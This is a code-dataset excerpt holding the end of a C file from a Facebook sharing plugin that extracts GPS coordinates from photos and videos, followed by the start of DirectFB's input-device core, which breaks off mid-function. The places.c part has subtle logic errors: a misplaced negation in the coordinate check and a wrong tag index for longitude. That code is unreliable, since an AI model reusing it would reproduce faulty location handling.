FALSE, orientation); g_free(data.location); xmp_free(xmp); xmp_terminate(); return rv; } static void sharing_tag_f(gpointer data, gpointer user_data) { const SharingTag *tag = (const SharingTag *)data; switch (sharing_tag_get_type(tag)) { case SHARING_TAG_GEO_SUBURB: ((FacebookSearchData *)user_data)->location = (gchar *)sharing_tag_get_word(tag); break; default: break; } } static void read_one_tag(const GstTagList *list, const gchar *tag, gpointer user_data) { FacebookSearchData *data = user_data; int n = gst_tag_list_get_tag_size(list, tag); if (!g_strcmp0(tag, "geo-location-latitude") && n == 1) data->latitude = g_value_get_double( gst_tag_list_get_value_index(list, tag, 0)); if (!g_strcmp0(tag, "geo-location-longitude") && n == 1) data->longitude = g_value_get_double( gst_tag_list_get_value_index(list, tag, 1)); } static void on_new_pad(GstElement *dec, GstPad *pad, GstElement *fakesink) { GstPad *sinkpad; sinkpad = gst_element_get_static_pad (fakesink, "sink"); if (!gst_pad_is_linked (sinkpad)) gst_pad_link(pad, sinkpad); gst_object_unref (sinkpad); } static void gst_get_gps_coord(const gchar *path, FacebookSearchData *data) { GstElement *pipe, *dec, *sink; GstMessage *msg; gchar *uri = g_strdup_printf("file://%s", path); gst_init(NULL, NULL); pipe = gst_pipeline_new("pipeline"); dec = gst_element_factory_make("uridecodebin", NULL); g_object_set(dec, "uri", uri, NULL); g_free(uri); gst_bin_add(GST_BIN (pipe), dec); sink = gst_element_factory_make("fakesink", NULL); gst_bin_add(GST_BIN (pipe), sink); g_signal_connect(dec, "pad-added", G_CALLBACK (on_new_pad), sink); gst_element_set_state(pipe, GST_STATE_PAUSED); while (TRUE) { GstTagList *tags = NULL; msg = gst_bus_timed_pop_filtered(GST_ELEMENT_BUS (pipe), GST_CLOCK_TIME_NONE, GST_MESSAGE_ASYNC_DONE | GST_MESSAGE_TAG | GST_MESSAGE_ERROR); if (GST_MESSAGE_TYPE(msg) != GST_MESSAGE_TAG) { gst_message_unref(msg); break; } gst_message_parse_tag(msg, &tags); gst_tag_list_foreach(tags, read_one_tag, data); gst_tag_list_free(tags); gst_message_unref(msg); }; gst_element_set_state(pipe, GST_STATE_NULL); gst_object_unref(pipe); } static gchar * get_video_place_id(const SharingEntryMedia *entry, facebook_graph_request *request, const gchar *access_token, const gchar *path, ConIcConnection *con) { FacebookSearchData data ={NULL, NAN, NAN}; gchar *rv = NULL; GSList *tags = (GSList *)sharing_entry_media_get_tags(entry); /* Try to get suburb */ g_slist_foreach(tags, sharing_tag_f, &data); if (!data.location) return NULL; gst_get_gps_coord(path, &data); if (!data.latitude == 0.0 || data.longitude == 0.0) return NULL; rv = get_place_id(request, access_token, path, con, &data, TRUE, 0); return rv; } gchar * fb_sharing_plugin_get_place_id(const SharingEntryMedia *media, facebook_graph_request *request, const gchar *access_token, const gchar *path, ConIcConnection *con, gboolean is_video) { if (!is_video) return get_photo_place_id(media, request, access_token, path, con); else return get_video_place_id(media, request, access_token, path, con); }
community-ssu/sharing-service-facebook
src/places.c
C
lgpl-2.1
13,837
/* (c) Copyright 2001-2010 The world wide DirectFB Open Source Community (directfb.org) (c) Copyright 2000-2004 Convergence (integrated media) GmbH All rights reserved. Written by Denis Oliver Kropp <dok@directfb.org>, Andreas Hundt <andi@fischlustig.de>, Sven Neumann <neo@directfb.org>, Ville Syrjälä <syrjala@sci.fi> and Claudio Ciccani <klan@users.sf.net>. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <directfb.h> #include <directfb_keynames.h> #include <direct/debug.h> #include <direct/list.h> #include <direct/memcpy.h> #include <direct/messages.h> #include <fusion/shmalloc.h> #include <fusion/reactor.h> #include <fusion/arena.h> #include <core/core.h> #include <core/coredefs.h> #include <core/coretypes.h> #include <core/core_parts.h> #include <core/gfxcard.h> #include <core/surface.h> #include <core/surface_buffer.h> #include <core/system.h> #include <core/layer_context.h> #include <core/layer_control.h> #include <core/layer_region.h> #include <core/layers.h> #include <core/input.h> #include <core/windows.h> #include <core/windows_internal.h> #include <direct/mem.h> #include <direct/memcpy.h> #include <direct/messages.h> #include <direct/modules.h> #include <direct/trace.h> #include <fusion/build.h> #include <misc/conf.h> #include <misc/util.h> #include <gfx/convert.h> #define CHECK_INTERVAL 20000 // Microseconds #define CHECK_NUMBER 200 D_DEBUG_DOMAIN( Core_Input, "Core/Input", "DirectFB Input Core" ); D_DEBUG_DOMAIN( Core_InputEvt, "Core/Input/Evt", "DirectFB Input Core Events & Dispatch" ); DEFINE_MODULE_DIRECTORY( dfb_input_modules, "inputdrivers", DFB_INPUT_DRIVER_ABI_VERSION ); /**********************************************************************************************************************/ typedef enum { CIDC_RELOAD_KEYMAP } CoreInputDeviceCommand; typedef struct { DirectLink link; int magic; DirectModuleEntry *module; const InputDriverFuncs *funcs; InputDriverInfo info; int nr_devices; } InputDriver; typedef struct { int min_keycode; int max_keycode; int num_entries; DFBInputDeviceKeymapEntry *entries; } InputDeviceKeymap; typedef struct { int magic; DFBInputDeviceID id; /* unique device id */ int num; InputDeviceInfo device_info; InputDeviceKeymap keymap; DFBInputDeviceModifierMask modifiers_l; DFBInputDeviceModifierMask modifiers_r; DFBInputDeviceLockState locks; DFBInputDeviceButtonMask buttons; DFBInputDeviceKeyIdentifier last_key; /* last key pressed */ DFBInputDeviceKeySymbol last_symbol; /* last symbol pressed */ bool first_press; /* first press of key */ FusionReactor *reactor; /* event dispatcher */ FusionSkirmish lock; FusionCall call; /* driver call via master */ unsigned int axis_num; DFBInputDeviceAxisInfo *axis_info; FusionRef ref; /* Ref between shared device & local device */ } InputDeviceShared; struct __DFB_CoreInputDevice { DirectLink link; int magic; InputDeviceShared *shared; InputDriver *driver; void *driver_data; CoreDFB *core; }; /**********************************************************************************************************************/ typedef struct { int magic; int num; InputDeviceShared *devices[MAX_INPUTDEVICES]; FusionReactor *reactor; /* For input hot-plug event */ } DFBInputCoreShared; struct __DFB_DFBInputCore { int magic; CoreDFB *core; DFBInputCoreShared *shared; DirectLink *drivers; DirectLink *devices; }; DFB_CORE_PART( input_core, InputCore ); /**********************************************************************************************************************/ typedef struct { DFBInputDeviceKeySymbol target; DFBInputDeviceKeySymbol result; } DeadKeyCombo; typedef struct { DFBInputDeviceKeySymbol deadkey; const DeadKeyCombo *combos; } DeadKeyMap; /* Data struct of input device hotplug event */ typedef struct { bool is_plugin; /* Hotplug in or not */ int dev_id; /* Input device ID*/ struct timeval stamp; /* Time stamp of event */ } InputDeviceHotplugEvent; /**********************************************************************************************************************/ static const DeadKeyCombo combos_grave[] = { { DIKS_SPACE, (unsigned char) '`' }, { DIKS_SMALL_A, (unsigned char) 'à' }, { DIKS_SMALL_E, (unsigned char) 'è' }, { DIKS_SMALL_I, (unsigned char) 'ì' }, { DIKS_SMALL_O, (unsigned char) 'ò' }, { DIKS_SMALL_U, (unsigned char) 'ù' }, { DIKS_CAPITAL_A, (unsigned char) 'À' }, { DIKS_CAPITAL_E, (unsigned char) 'È' }, { DIKS_CAPITAL_I, (unsigned char) 'Ì' }, { DIKS_CAPITAL_O, (unsigned char) 'Ò' }, { DIKS_CAPITAL_U, (unsigned char) 'Ù' }, { 0, 0 } }; static const DeadKeyCombo combos_acute[] = { { DIKS_SPACE, (unsigned char) '\'' }, { DIKS_SMALL_A, (unsigned char) 'á' }, { DIKS_SMALL_E, (unsigned char) 'é' }, { DIKS_SMALL_I, (unsigned char) 'í' }, { DIKS_SMALL_O, (unsigned char) 'ó' }, { DIKS_SMALL_U, (unsigned char) 'ú' }, { DIKS_SMALL_Y, (unsigned char) 'ý' }, { DIKS_CAPITAL_A, (unsigned char) 'Á' }, { DIKS_CAPITAL_E, (unsigned char) 'É' }, { DIKS_CAPITAL_I, (unsigned char) 'Í' }, { DIKS_CAPITAL_O, (unsigned char) 'Ó' }, { DIKS_CAPITAL_U, (unsigned char) 'Ú' }, { DIKS_CAPITAL_Y, (unsigned char) 'Ý' }, { 0, 0 } }; static const DeadKeyCombo combos_circumflex[] = { { DIKS_SPACE, (unsigned char) '^' }, { DIKS_SMALL_A, (unsigned char) 'â' }, { DIKS_SMALL_E, (unsigned char) 'ê' }, { DIKS_SMALL_I, (unsigned char) 'î' }, { DIKS_SMALL_O, (unsigned char) 'ô' }, { DIKS_SMALL_U, (unsigned char) 'û' }, { DIKS_CAPITAL_A, (unsigned char) 'Â' }, { DIKS_CAPITAL_E, (unsigned char) 'Ê' }, { DIKS_CAPITAL_I, (unsigned char) 'Î' }, { DIKS_CAPITAL_O, (unsigned char) 'Ô' }, { DIKS_CAPITAL_U, (unsigned char) 'Û' }, { 0, 0 } }; static const DeadKeyCombo combos_diaeresis[] = { { DIKS_SPACE, (unsigned char) '¨' }, { DIKS_SMALL_A, (unsigned char) 'ä' }, { DIKS_SMALL_E, (unsigned char) 'ë' }, { DIKS_SMALL_I, (unsigned char) 'ï' }, { DIKS_SMALL_O, (unsigned char) 'ö' }, { DIKS_SMALL_U, (unsigned char) 'ü' }, { DIKS_CAPITAL_A, (unsigned char) 'Ä' }, { DIKS_CAPITAL_E, (unsigned char) 'Ë' }, { DIKS_CAPITAL_I, (unsigned char) 'Ï' }, { DIKS_CAPITAL_O, (unsigned char) 'Ö' }, { DIKS_CAPITAL_U, (unsigned char) 'Ü' }, { 0, 0 } }; static const DeadKeyCombo combos_tilde[] = { { DIKS_SPACE, (unsigned char) '~' }, { DIKS_SMALL_A, (unsigned char) 'ã' }, { DIKS_SMALL_N, (unsigned char) 'ñ' }, { DIKS_SMALL_O, (unsigned char) 'õ' }, { DIKS_CAPITAL_A, (unsigned char) 'Ã' }, { DIKS_CAPITAL_N, (unsigned char) 'Ñ' }, { DIKS_CAPITAL_O, (unsigned char) 'Õ' }, { 0, 0 } }; static const DeadKeyMap deadkey_maps[] = { { DIKS_DEAD_GRAVE, combos_grave }, { DIKS_DEAD_ACUTE, combos_acute }, { DIKS_DEAD_CIRCUMFLEX, combos_circumflex }, { DIKS_DEAD_DIAERESIS, combos_diaeresis }, { DIKS_DEAD_TILDE, combos_tilde } }; /* define a lookup table to go from key IDs to names. * This is used to look up the names provided in a loaded key table */ /* this table is roughly 4Kb in size */ DirectFBKeySymbolNames(KeySymbolNames); DirectFBKeyIdentifierNames(KeyIdentifierNames); /**********************************************************************************************************************/ static void init_devices( CoreDFB *core ); static void allocate_device_keymap( CoreDFB *core, CoreInputDevice *device ); static DFBInputDeviceKeymapEntry *get_keymap_entry( CoreInputDevice *device, int code ); static DFBResult set_keymap_entry( CoreInputDevice *device, int code, DFBInputDeviceKeymapEntry *entry ); static DFBResult load_keymap( CoreInputDevice *device, char *filename ); static DFBInputDeviceKeySymbol lookup_keysymbol( char *symbolname ); static DFBInputDeviceKeyIdentifier lookup_keyidentifier( char *identifiername ); /**********************************************************************************************************************/ static bool lookup_from_table( CoreInputDevice *device, DFBInputEvent *event, DFBInputEventFlags lookup ); static void fixup_key_event ( CoreInputDevice *device, DFBInputEvent *event ); static void fixup_mouse_event( CoreInputDevice *device, DFBInputEvent *event ); static void flush_keys ( CoreInputDevice *device ); static bool core_input_filter( CoreInputDevice *device, DFBInputEvent *event ); /**********************************************************************************************************************/ static DFBInputDeviceKeyIdentifier symbol_to_id( DFBInputDeviceKeySymbol symbol ); static DFBInputDeviceKeySymbol id_to_symbol( DFBInputDeviceKeyIdentifier id, DFBInputDeviceModifierMask modifiers, DFBInputDeviceLockState locks ); /**********************************************************************************************************************/ static ReactionResult local_processing_hotplug( const void *msg_data, void *ctx ); /**********************************************************************************************************************/ static ReactionFunc dfb_input_globals[MAX_INPUT_GLOBALS+1] = { /* 0 */ _dfb_windowstack_inputdevice_listener, NULL }; DFBResult dfb_input_add_global( ReactionFunc func, int *ret_index ) { int i; D_DEBUG_AT( Core_Input, "%s( %p, %p )\n", __FUNCTION__, func, ret_index ); D_ASSERT( func != NULL ); D_ASSERT( ret_index != NULL ); for (i=0; i<MAX_INPUT_GLOBALS; i++) { if (!dfb_input_globals[i]) { dfb_input_globals[i] = func; D_DEBUG_AT( Core_Input, " -> index %d\n", i ); *ret_index = i; return DFB_OK; } } return DFB_LIMITEXCEEDED; } DFBResult dfb_input_set_global( ReactionFunc func, int index ) { D_DEBUG_AT( Core_Input, "%s( %p, %d )\n", __FUNCTION__, func, index ); D_ASSERT( func != NULL ); D_ASSERT( index >= 0 ); D_ASSERT( index < MAX_INPUT_GLOBALS ); D_ASSUME( dfb_input_globals[index] == NULL ); dfb_input_globals[index] = func; return DFB_OK; } /**********************************************************************************************************************/ static DFBInputCore *core_local; /* FIXME */ static DFBInputCoreShared *core_input; /* FIXME */ #if FUSION_BUILD_MULTI static Reaction local_processing_react; /* Local reaction to hot-plug event */ #endif static DFBResult dfb_input_core_initialize( CoreDFB *core, DFBInputCore *data, DFBInputCoreShared *shared ) { #if FUSION_BUILD_MULTI DFBResult result = DFB_OK; #endif D_DEBUG_AT( Core_Input, "dfb_input_core_initialize( %p, %p, %p )\n", core, data, shared ); D_ASSERT( data != NULL ); D_ASSERT( shared != NULL ); core_local = data; /* FIXME */ core_input = shared; /* FIXME */ data->core = core; data->shared = shared; direct_modules_explore_directory( &dfb_input_modules ); #if FUSION_BUILD_MULTI /* Create the reactor that responds input device hot-plug events. */ core_input->reactor = fusion_reactor_new( sizeof( InputDeviceHotplugEvent ), "Input Hotplug", dfb_core_world(core) ); if (!core_input->reactor) { D_ERROR( "DirectFB/Input: fusion_reactor_new() failed!\n" ); result = DFB_FAILURE; goto errorExit; } /* Attach local process function to the input hot-plug reactor. */ result = fusion_reactor_attach( core_input->reactor, local_processing_hotplug, (void*) core, &local_processing_react ); if (result) { D_ERROR( "DirectFB/Input: fusion_reactor_attach() failed!\n" ); goto errorExit; } #endif init_devices( core ); D_MAGIC_SET( data, DFBInputCore ); D_MAGIC_SET( shared, DFBInputCoreShared ); return DFB_OK; #if FUSION_BUILD_MULTI errorExit: /* Destroy the hot-plug reactor if it was created. */ if (core_input->reactor) fusion_reactor_destroy(core_input->reactor); return result; #endif } static DFBResult dfb_input_core_join( CoreDFB *core, DFBInputCore *data, DFBInputCoreShared *shared ) { int i; #if FUSION_BUILD_MULTI DFBResult result; #endif D_DEBUG_AT( Core_Input, "dfb_input_core_join( %p, %p, %p )\n", core, data, shared ); D_ASSERT( data != NULL ); D_MAGIC_ASSERT( shared, DFBInputCoreShared ); D_ASSERT( shared->reactor != NULL ); core_local = data; /* FIXME */ core_input = shared; /* FIXME */ data->core = core; data->shared = shared; #if FUSION_BUILD_MULTI /* Attach the local process function to the input hot-plug reactor. */ result = fusion_reactor_attach( core_input->reactor, local_processing_hotplug, (void*) core, &local_processing_react ); if (result) { D_ERROR( "DirectFB/Input: fusion_reactor_attach failed!\n" ); return result; } #endif for (i=0; i<core_input->num; i++) { CoreInputDevice *device; device = D_CALLOC( 1, sizeof(CoreInputDevice) ); if (!device) { D_OOM(); continue; } device->shared = core_input->devices[i]; #if FUSION_BUILD_MULTI /* Increase the reference counter. */ fusion_ref_up( &device->shared->ref, true ); #endif /* add it to the list */ direct_list_append( &data->devices, &device->link ); D_MAGIC_SET( device, CoreInputDevice ); } D_MAGIC_SET( data, DFBInputCore ); return DFB_OK; } static DFBResult dfb_input_core_shutdown( DFBInputCore *data, bool emergency ) { DFBInputCoreShared *shared; DirectLink *n; CoreInputDevice *device; FusionSHMPoolShared *pool = dfb_core_shmpool( data->core ); InputDriver *driver; D_DEBUG_AT( Core_Input, "dfb_input_core_shutdown( %p, %semergency )\n", data, emergency ? "" : "no " ); D_MAGIC_ASSERT( data, DFBInputCore ); D_MAGIC_ASSERT( data->shared, DFBInputCoreShared ); shared = data->shared; /* Stop each input provider's hot-plug thread that supports device hot-plugging. */ direct_list_foreach_safe (driver, n, core_local->drivers) { if (driver->funcs->GetCapability && driver->funcs->StopHotplug) { if (IDC_HOTPLUG & driver->funcs->GetCapability()) { D_DEBUG_AT( Core_Input, "Stopping hot-plug detection thread " "within %s\n ", driver->module->name ); if (driver->funcs->StopHotplug()) { D_ERROR( "DirectFB/Input: StopHotplug() failed with %s\n", driver->module->name ); } } } } #if FUSION_BUILD_MULTI fusion_reactor_detach( core_input->reactor, &local_processing_react ); fusion_reactor_destroy( core_input->reactor ); #endif direct_list_foreach_safe (device, n, data->devices) { InputDeviceShared *devshared; D_MAGIC_ASSERT( device, CoreInputDevice ); driver = device->driver; D_ASSERT( driver != NULL ); devshared = device->shared; D_ASSERT( devshared != NULL ); fusion_call_destroy( &devshared->call ); fusion_skirmish_destroy( &devshared->lock ); if (device->driver_data != NULL) { void *driver_data; D_ASSERT( driver->funcs != NULL ); D_ASSERT( driver->funcs->CloseDevice != NULL ); D_DEBUG_AT( Core_Input, " -> closing '%s' (%d) %d.%d (%s)\n", devshared->device_info.desc.name, devshared->num + 1, driver->info.version.major, driver->info.version.minor, driver->info.vendor ); driver_data = device->driver_data; device->driver_data = NULL; driver->funcs->CloseDevice( driver_data ); } if (!--driver->nr_devices) { direct_module_unref( driver->module ); D_FREE( driver ); } #if FUSION_BUILD_MULTI fusion_ref_destroy( &device->shared->ref ); #endif fusion_reactor_free( devshared->reactor ); if (devshared->keymap.entries) SHFREE( pool, devshared->keymap.entries ); if (devshared->axis_info) SHFREE( pool, devshared->axis_info ); SHFREE( pool, devshared ); D_MAGIC_CLEAR( device ); D_FREE( device ); } D_MAGIC_CLEAR( data ); D_MAGIC_CLEAR( shared ); return DFB_OK; } static DFBResult dfb_input_core_leave( DFBInputCore *data, bool emergency ) { DFBInputCoreShared *shared; DirectLink *n; CoreInputDevice *device; D_DEBUG_AT( Core_Input, "dfb_input_core_leave( %p, %semergency )\n", data, emergency ? "" : "no " ); D_MAGIC_ASSERT( data, DFBInputCore ); D_MAGIC_ASSERT( data->shared, DFBInputCoreShared ); shared = data->shared; #if FUSION_BUILD_MULTI fusion_reactor_detach( core_input->reactor, &local_processing_react ); #endif direct_list_foreach_safe (device, n, data->devices) { D_MAGIC_ASSERT( device, CoreInputDevice ); #if FUSION_BUILD_MULTI /* Decrease the ref between shared device and local device. */ fusion_ref_down( &device->shared->ref, true ); #endif D_FREE( device ); } D_MAGIC_CLEAR( data ); return DFB_OK; } static DFBResult dfb_input_core_suspend( DFBInputCore *data ) { DFBInputCoreShared *shared; CoreInputDevice *device; InputDriver *driver; D_DEBUG_AT( Core_Input, "dfb_input_core_suspend( %p )\n", data ); D_MAGIC_ASSERT( data, DFBInputCore ); D_MAGIC_ASSERT( data->shared, DFBInputCoreShared ); shared = data->shared; D_DEBUG_AT( Core_Input, " -> suspending...\n" ); /* Go through the drivers list and attempt to suspend all of the drivers that * support the Suspend function. */ direct_list_foreach (driver, core_local->drivers) { DFBResult ret; D_ASSERT( driver->funcs->Suspend != NULL ); ret = driver->funcs->Suspend(); if (ret != DFB_OK && ret != DFB_UNSUPPORTED) { D_DERROR( ret, "driver->Suspend failed during suspend (%s)\n", driver->info.name ); } } direct_list_foreach (device, data->devices) { InputDeviceShared *devshared; D_MAGIC_ASSERT( device, CoreInputDevice ); driver = device->driver; D_ASSERT( driver != NULL ); devshared = device->shared; D_ASSERT( devshared != NULL ); if (device->driver_data != NULL) { void *driver_data; D_ASSERT( driver->funcs != NULL ); D_ASSERT( driver->funcs->CloseDevice != NULL ); D_DEBUG_AT( Core_Input, " -> closing '%s' (%d) %d.%d (%s)\n", devshared->device_info.desc.name, devshared->num + 1, driver->info.version.major, driver->info.version.minor, driver->info.vendor ); driver_data = device->driver_data; device->driver_data = NULL; driver->funcs->CloseDevice( driver_data ); } flush_keys( device ); } D_DEBUG_AT( Core_Input, " -> suspended.\n" ); return DFB_OK; } static DFBResult dfb_input_core_resume( DFBInputCore *data ) { DFBInputCoreShared *shared; DFBResult ret; CoreInputDevice *device; InputDriver *driver; D_DEBUG_AT( Core_Input, "dfb_input_core_resume( %p )\n", data ); D_MAGIC_ASSERT( data, DFBInputCore ); D_MAGIC_ASSERT( data->shared, DFBInputCoreShared ); shared = data->shared; D_DEBUG_AT( Core_Input, " -> resuming...\n" ); direct_list_foreach (device, data->devices) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_DEBUG_AT( Core_Input, " -> reopening '%s' (%d) %d.%d (%s)\n", device->shared->device_info.desc.name, device->shared->num + 1, device->driver->info.version.major, device->driver->info.version.minor, device->driver->info.vendor ); D_ASSERT( device->driver_data == NULL ); ret = device->driver->funcs->OpenDevice( device, device->shared->num, &device->shared->device_info, &device->driver_data ); if (ret) { D_DERROR( ret, "DirectFB/Input: Failed reopening device " "during resume (%s)!\n", device->shared->device_info.desc.name ); device->driver_data = NULL; } } /* Go through the drivers list and attempt to resume all of the drivers that * support the Resume function. */ direct_list_foreach (driver, core_local->drivers) { D_ASSERT( driver->funcs->Resume != NULL ); ret = driver->funcs->Resume(); if (ret != DFB_OK && ret != DFB_UNSUPPORTED) { D_DERROR( ret, "driver->Resume failed during resume (%s)\n", driver->info.name ); } } D_DEBUG_AT( Core_Input, " -> resumed.\n" ); return DFB_OK; } void dfb_input_enumerate_devices( InputDeviceCallback callback, void *ctx, DFBInputDeviceCapabilities caps ) { CoreInputDevice *device; D_ASSERT( core_input != NULL ); direct_list_foreach (device, core_local->devices) { DFBInputDeviceCapabilities dev_caps; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( device->shared != NULL ); dev_caps = device->shared->device_info.desc.caps; /* Always match if unclassified */ if (!dev_caps) dev_caps = DICAPS_ALL; if ((dev_caps & caps) && callback( device, ctx ) == DFENUM_CANCEL) break; } } DirectResult dfb_input_attach( CoreInputDevice *device, ReactionFunc func, void *ctx, Reaction *reaction ) { D_DEBUG_AT( Core_Input, "%s( %p, %p, %p, %p )\n", __FUNCTION__, device, func, ctx, reaction ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return fusion_reactor_attach( device->shared->reactor, func, ctx, reaction ); } DirectResult dfb_input_detach( CoreInputDevice *device, Reaction *reaction ) { D_DEBUG_AT( Core_Input, "%s( %p, %p )\n", __FUNCTION__, device, reaction ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return fusion_reactor_detach( device->shared->reactor, reaction ); } DirectResult dfb_input_attach_global( CoreInputDevice *device, int index, void *ctx, GlobalReaction *reaction ) { D_DEBUG_AT( Core_Input, "%s( %p, %d, %p, %p )\n", __FUNCTION__, device, index, ctx, reaction ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return fusion_reactor_attach_global( device->shared->reactor, index, ctx, reaction ); } DirectResult dfb_input_detach_global( CoreInputDevice *device, GlobalReaction *reaction ) { D_DEBUG_AT( Core_Input, "%s( %p, %p )\n", __FUNCTION__, device, reaction ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return fusion_reactor_detach_global( device->shared->reactor, reaction ); } const char * dfb_input_event_type_name( DFBInputEventType type ) { switch (type) { case DIET_UNKNOWN: return "UNKNOWN"; case DIET_KEYPRESS: return "KEYPRESS"; case DIET_KEYRELEASE: return "KEYRELEASE"; case DIET_BUTTONPRESS: return "BUTTONPRESS"; case DIET_BUTTONRELEASE: return "BUTTONRELEASE"; case DIET_AXISMOTION: return "AXISMOTION"; default: break; } return "<invalid>"; } void dfb_input_dispatch( CoreInputDevice *device, DFBInputEvent *event ) { D_DEBUG_AT( Core_Input, "%s( %p, %p )\n", __FUNCTION__, device, event ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( event != NULL ); /* * When a USB device is hot-removed, it is possible that there are pending events * still being dispatched and the shared field becomes NULL. */ /* * 0. Sanity checks & debugging... */ if (!device->shared) { D_DEBUG_AT( Core_Input, " -> No shared data!\n" ); return; } D_ASSUME( device->shared->reactor != NULL ); if (!device->shared->reactor) { D_DEBUG_AT( Core_Input, " -> No reactor!\n" ); return; } D_DEBUG_AT( Core_InputEvt, " -> (%02x) %s%s%s\n", event->type, dfb_input_event_type_name( event->type ), (event->flags & DIEF_FOLLOW) ? " [FOLLOW]" : "", (event->flags & DIEF_REPEAT) ? " [REPEAT]" : "" ); #if D_DEBUG_ENABLED if (event->flags & DIEF_TIMESTAMP) D_DEBUG_AT( Core_InputEvt, " -> TIMESTAMP %lu.%06lu\n", event->timestamp.tv_sec, event->timestamp.tv_usec ); if (event->flags & DIEF_AXISABS) D_DEBUG_AT( Core_InputEvt, " -> AXISABS %d at %d\n", event->axis, event->axisabs ); if (event->flags & DIEF_AXISREL) D_DEBUG_AT( Core_InputEvt, " -> AXISREL %d by %d\n", event->axis, event->axisrel ); if (event->flags & DIEF_KEYCODE) D_DEBUG_AT( Core_InputEvt, " -> KEYCODE %d\n", event->key_code ); if (event->flags & DIEF_KEYID) D_DEBUG_AT( Core_InputEvt, " -> KEYID 0x%04x\n", event->key_id ); if (event->flags & DIEF_KEYSYMBOL) D_DEBUG_AT( Core_InputEvt, " -> KEYSYMBOL 0x%04x\n", event->key_symbol ); if (event->flags & DIEF_MODIFIERS) D_DEBUG_AT( Core_InputEvt, " -> MODIFIERS 0x%04x\n", event->modifiers ); if (event->flags & DIEF_LOCKS) D_DEBUG_AT( Core_InputEvt, " -> LOCKS 0x%04x\n", event->locks ); if (event->flags & DIEF_BUTTONS) D_DEBUG_AT( Core_InputEvt, " -> BUTTONS 0x%04x\n", event->buttons ); if (event->flags & DIEF_GLOBAL) D_DEBUG_AT( Core_InputEvt, " -> GLOBAL\n" ); #endif /* * 1. Fixup event... */ event->clazz = DFEC_INPUT; event->device_id = device->shared->id; if (!(event->flags & DIEF_TIMESTAMP)) { gettimeofday( &event->timestamp, NULL ); event->flags |= DIEF_TIMESTAMP; } switch (event->type) { case DIET_BUTTONPRESS: case DIET_BUTTONRELEASE: D_DEBUG_AT( Core_InputEvt, " -> BUTTON 0x%04x\n", event->button ); if (dfb_config->lefty) { if (event->button == DIBI_LEFT) event->button = DIBI_RIGHT; else if (event->button == DIBI_RIGHT) event->button = DIBI_LEFT; D_DEBUG_AT( Core_InputEvt, " -> lefty! => 0x%04x <=\n", event->button ); } /* fallthru */ case DIET_AXISMOTION: fixup_mouse_event( device, event ); break; case DIET_KEYPRESS: case DIET_KEYRELEASE: if (dfb_config->capslock_meta) { if (device->shared->keymap.num_entries && (event->flags & DIEF_KEYCODE)) lookup_from_table( device, event, (DIEF_KEYID | DIEF_KEYSYMBOL) & ~event->flags ); if (event->key_id == DIKI_CAPS_LOCK || event->key_symbol == DIKS_CAPS_LOCK) { event->flags |= DIEF_KEYID | DIEF_KEYSYMBOL; event->key_code = -1; event->key_id = DIKI_META_L; event->key_symbol = DIKS_META; } } fixup_key_event( device, event ); break; default: ; } #if D_DEBUG_ENABLED if (event->flags & DIEF_TIMESTAMP) D_DEBUG_AT( Core_InputEvt, " => TIMESTAMP %lu.%06lu\n", event->timestamp.tv_sec, event->timestamp.tv_usec ); if (event->flags & DIEF_AXISABS) D_DEBUG_AT( Core_InputEvt, " => AXISABS %d at %d\n", event->axis, event->axisabs ); if (event->flags & DIEF_AXISREL) D_DEBUG_AT( Core_InputEvt, " => AXISREL %d by %d\n", event->axis, event->axisrel ); if (event->flags & DIEF_KEYCODE) D_DEBUG_AT( Core_InputEvt, " => KEYCODE %d\n", event->key_code ); if (event->flags & DIEF_KEYID) D_DEBUG_AT( Core_InputEvt, " => KEYID 0x%04x\n", event->key_id ); if (event->flags & DIEF_KEYSYMBOL) D_DEBUG_AT( Core_InputEvt, " => KEYSYMBOL 0x%04x\n", event->key_symbol ); if (event->flags & DIEF_MODIFIERS) D_DEBUG_AT( Core_InputEvt, " => MODIFIERS 0x%04x\n", event->modifiers ); if (event->flags & DIEF_LOCKS) D_DEBUG_AT( Core_InputEvt, " => LOCKS 0x%04x\n", event->locks ); if (event->flags & DIEF_BUTTONS) D_DEBUG_AT( Core_InputEvt, " => BUTTONS 0x%04x\n", event->buttons ); if (event->flags & DIEF_GLOBAL) D_DEBUG_AT( Core_InputEvt, " => GLOBAL\n" ); #endif if (core_input_filter( device, event )) D_DEBUG_AT( Core_InputEvt, " ****>> FILTERED\n" ); else fusion_reactor_dispatch( device->shared->reactor, event, true, dfb_input_globals ); } DFBInputDeviceID dfb_input_device_id( const CoreInputDevice *device ) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return device->shared->id; } CoreInputDevice * dfb_input_device_at( DFBInputDeviceID id ) { CoreInputDevice *device; D_ASSERT( core_input != NULL ); direct_list_foreach (device, core_local->devices) { D_MAGIC_ASSERT( device, CoreInputDevice ); if (device->shared->id == id) return device; } return NULL; } /* Get an input device's capabilities. */ DFBInputDeviceCapabilities dfb_input_device_caps( const CoreInputDevice *device ) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); return 